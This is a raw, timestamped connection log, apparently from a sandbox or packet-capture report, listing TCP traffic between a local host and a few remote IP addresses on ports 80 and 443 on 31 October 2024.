Oct 31, 2024 04:16:10.653839111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.653871059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.653871059 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.653881073 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.653894901 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.653920889 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.653948069 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.653981924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.653990030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654005051 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654011965 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654027939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654033899 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654035091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654051065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654058933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654078007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654097080 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654134989 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654150963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654165983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654174089 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654192924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654200077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654201031 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654225111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654238939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654268980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654275894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654330969 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654366970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654373884 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654387951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654397011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654411077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654417992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654422998 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654426098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654432058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654438972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654442072 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654474020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654505968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654511929 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654530048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654546022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654551983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654556036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654571056 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654598951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654648066 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654659986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654669046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654675961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654684067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654699087 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654712915 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654712915 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654745102 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654761076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654768944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654793024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654800892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654810905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654815912 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654836893 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654851913 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654864073 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654870987 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654886961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654895067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.654900074 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.654921055 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.698765993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.698791981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.698813915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.698822021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.698829889 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.698848009 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.698865891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.698873997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.698873997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.698920965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.698978901 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699002028 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699018955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699018955 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699033976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699040890 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699043036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699059963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699062109 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699069023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699086905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699110031 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699136019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699208021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699214935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699218988 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699242115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699254036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699289083 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699498892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699506998 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699515104 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699556112 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699589014 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699598074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699604988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699611902 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699644089 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699652910 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699671030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699702024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699712992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699738979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699748993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699759007 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699786901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699836969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699845076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699858904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699867010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699894905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699925900 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.699975967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699985027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.699992895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700000048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700009108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700031996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700057030 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700109959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700119019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700125933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700131893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700139999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700156927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700165987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700177908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700197935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700268030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700284004 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700292110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700299025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700315952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700323105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700325012 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700341940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700347900 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700350046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700366974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700368881 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700387001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700411081 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700511932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700519085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700525999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700534105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700541019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700556993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700563908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700577021 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700604916 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700635910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700645924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700670004 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700678110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700691938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700692892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700700998 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700707912 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700709105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700716972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700726032 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700742960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700762033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.700952053 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700961113 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.700997114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701011896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701025009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701040030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701046944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701054096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701069117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701072931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701092958 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701119900 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701152086 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701160908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701186895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701203108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701209068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701211929 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701229095 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701231003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701239109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701246023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701256990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701256990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701261044 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701268911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701284885 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701306105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701334953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701343060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701349974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701356888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701364994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701391935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701411009 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701436996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701446056 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701461077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701467991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701474905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701497078 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701500893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701510906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701519012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701536894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701796055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701803923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701811075 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701818943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701826096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701833010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701839924 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701841116 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701858997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701870918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701889038 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701890945 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701898098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701913118 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701914072 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701921940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.701937914 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.701951981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702101946 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702111006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702125072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702132940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702148914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702157974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702161074 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702171087 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702174902 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702182055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702191114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702198029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702198982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702218056 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702219009 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702227116 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702231884 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702250004 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702272892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702339888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702354908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702363014 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702368975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702377081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702383995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702390909 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702390909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702400923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702429056 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702447891 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702447891 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702480078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702526093 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702564001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702572107 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702579975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702586889 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702595949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702609062 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702635050 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702697039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702706099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702721119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702728033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702744961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702755928 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702766895 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702784061 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702835083 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702858925 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702876091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702882051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702883959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702888012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702893019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702900887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702908993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702923059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702924967 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702930927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702943087 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702948093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.702974081 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.702980995 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:12.986241102 CET	49808	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:12.986516953 CET	49842	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:12.991311073 CET	80	49842	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:12.991381884 CET	49842	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:12.991442919 CET	80	49808	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:12.991470098 CET	49842	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:12.991502047 CET	49808	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:12.996259928 CET	80	49842	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:13.010262012 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:13.010273933 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:13.010349035 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:13.011430025 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:13.011441946 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:13.638056993 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:13.638134003 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:13.640682936 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:13.640690088 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:13.641025066 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:13.688838005 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:13.707806110 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:13.707844973 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:13.707926989 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:13.888664961 CET	80	49842	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:13.888724089 CET	49842	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:13.890409946 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:13.890568018 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:13.895386934 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:13.895450115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:13.895600080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:13.895618916 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:13.895757914 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:13.900494099 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.177931070 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.178040981 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.178095102 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.178312063 CET	49843	443	192.168.2.4	188.114.97.3
